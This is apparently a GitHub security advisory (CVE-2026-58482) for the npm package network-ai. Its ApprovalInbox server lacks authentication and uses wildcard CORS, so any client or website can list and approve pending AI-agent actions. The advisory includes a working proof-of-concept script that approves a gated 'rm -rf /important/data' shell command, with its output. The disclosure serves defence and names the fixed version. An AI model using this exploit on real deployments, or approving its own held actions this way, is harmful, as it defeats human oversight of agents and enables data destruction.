Advisory

GHSA-mxjx-28vx-xjjj

Also known as: CVE-2026-58482

Summary

Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions

Details

Summary

network-ai's ApprovalInbox (lib/approval-inbox.ts) is a shipped, exported, documented feature — *"a web-accessible approval queue with REST API … and SSE streaming"* (SECURITY.md). It is the network surface of the human-in-the-loop Approval Gate, which ApprovalGate uses to require explicit human approval for *"high-risk operations (writes, shell commands, budget spend)"* (SECURITY.md). The HTTP server it exposes has no authentication of any kind and sets **Access-Control-Allow-Origin: *** on every route, including the state-changing POST /approvals/:id/approve and /deny.

As a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.

This is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary ApprovalInbox server never received that hardening.

  • Affected: network-ai <= 5.11.0 (current latest), lib/approval-inbox.ts — httpHandler() / routeRequest() / startServer(). ApprovalInbox is public API (exported from index.ts:1126).
  • CWE: CWE-862 (Missing Authorization) + CWE-352 (Cross-Site Request Forgery, via wildcard CORS).
  • CVSS v3.1 (proposed):
  • Drive-by CSRF against the default 127.0.0.1 deployment: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N = 5.9 Medium.
  • Direct request when the operator binds a non-loopback address (or local/SSRF reach): AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N = 8.1 High.

Details

No authentication on the request pipeline (lib/approval-inbox.ts)

httpHandler() sets a wildcard CORS policy and routes every request straight to routeRequest() with no auth check:

// lib/approval-inbox.ts:250-275
httpHandler() {
  return (req, res) => {
    ...
    res.setHeader('Access-Control-Allow-Origin', '*');          // 256  <-- wildcard CORS
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
    if (req.method === 'OPTIONS') { res.writeHead(204); res.end(); return; }   // preflight OK for any origin
    ...
    this.routeRequest(req, res, subPath, url);                  // 273  <-- no token / secret / origin gate
  };
}

routeRequest() exposes list + approve/deny with no credential check (default pathPrefix = /approvals):

// lib/approval-inbox.ts:369-405
routeRequest(req, res, subPath, url) {
  if (subPath === '/' && req.method === 'GET') {                       // GET /approvals/  -> enumerate pending ids
    this.sendJson(res, 200, this.list(status)); return;
  }
  ...
  const approveMatch = subPath.match(/^\/([a-f0-9]+)\/approve$/);      // POST /approvals/:id/approve
  if (approveMatch && req.method === 'POST') {
    this.readBody(req).then((body) => {
      const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous';  // defaults to 'anonymous'
      const entry = this.approve(approveMatch[1], approvedBy, reason);  // resolves the gate -> action proceeds
      ...
    });
  }
}

approve() resolves the pending promise that ApprovalGate is awaiting, so the gated action proceeds:

// lib/approval-inbox.ts:172-183 / 327-339
approve(id, approvedBy, reason) {
  ...
  return this.resolve(id, 'approved', { approved: true, approvedBy, reason });  // promise -> {approved:true}
}

startServer() binds the handler (default 127.0.0.1, but any host the caller passes):

// lib/approval-inbox.ts:281-286
startServer(port, hostname = '127.0.0.1') {
  const server = createServer(this.httpHandler());
  server.listen(port, hostname);
  return server;
}

There is no option to supply a secret/token (unlike McpSseServer/McpHttpServer, which require one and fail closed), and the wildcard ACAO: * is hardcoded — an operator cannot configure their way out of it.

Why the wildcard CORS matters

The two routes needed for exploitation are reachable cross-origin:

  • GET /approvals/?status=pending is a CORS *simple request*; ACAO: * lets a malicious page read the response and learn the pending approval ids.
  • POST /approvals/:id/approve with Content-Type: application/json triggers a preflight, which succeeds because the server answers OPTIONS with ACAO: *, Access-Control-Allow-Methods: …POST…, and Access-Control-Allow-Headers: Content-Type. The browser then sends the approve. approvedBy defaults to 'anonymous', so no special body is required.

So a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.

Proof of Concept

Self-contained against the published `[email protected]` package (no project files needed; re-confirmed 2026-06-17). It starts the documented ApprovalInbox server, has an agent submit a high-risk gated action, then acts as an unauthenticated client.

mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i [email protected]
node poc.mjs

poc.mjs:

import { ApprovalInbox } from "network-ai";
import http from "node:http";

const PORT = 7798;
const req = (method, path, body) => new Promise((resolve, reject) => {        // plain client — NO Authorization header
  const data = body ? JSON.stringify(body) : undefined;
  const r = http.request({ host: "127.0.0.1", port: PORT, method, path,
    headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {} },
    (res) => { let b = ""; res.on("data", c => b += c); res.on("end", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });
  r.on("error", reject); if (data) r.write(data); r.end();
});

const inbox = new ApprovalInbox();
const gate = inbox.callback();                                 // what ApprovalGate calls before a dangerous action
inbox.startServer(PORT, "127.0.0.1");                          // the documented "web-accessible approval queue"
await new Promise(r => setTimeout(r, 150));

let resolved = false;
const decisionP = gate({ action: "shell_execute", target: "rm -rf /important/data",
  agentId: "worker-1", justification: "cleanup", riskLevel: "high" }).then(d => (resolved = true, d));
console.log("Gated dangerous action pending human approval. resolved =", resolved);

const list = await req("GET", "/approvals/?status=pending");   // attacker enumerates pending approvals
const id = list.json[0].id;
const approve = await req("POST", `/approvals/${id}/approve`, { approvedBy: "attacker" });  // and approves one
console.log("[attacker] GET /approvals/  (no auth) ->", list.status, "ids:", list.json.map(e => e.id));
console.log("[attacker] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status);
const decision = await decisionP;
console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved);

Output:

Gated dangerous action pending human approval. resolved = false
[attacker] GET /approvals/  (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]
[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved
>>> gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-06-19 21:42 UTC
Modified
2026-07-21 03:56 UTC

Affected packages and fixes

network-ai

npm · All systems

Affected

  • introduced 5.0.0, fixed 5.12.2 (semver)

Fixed versions

5.12.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences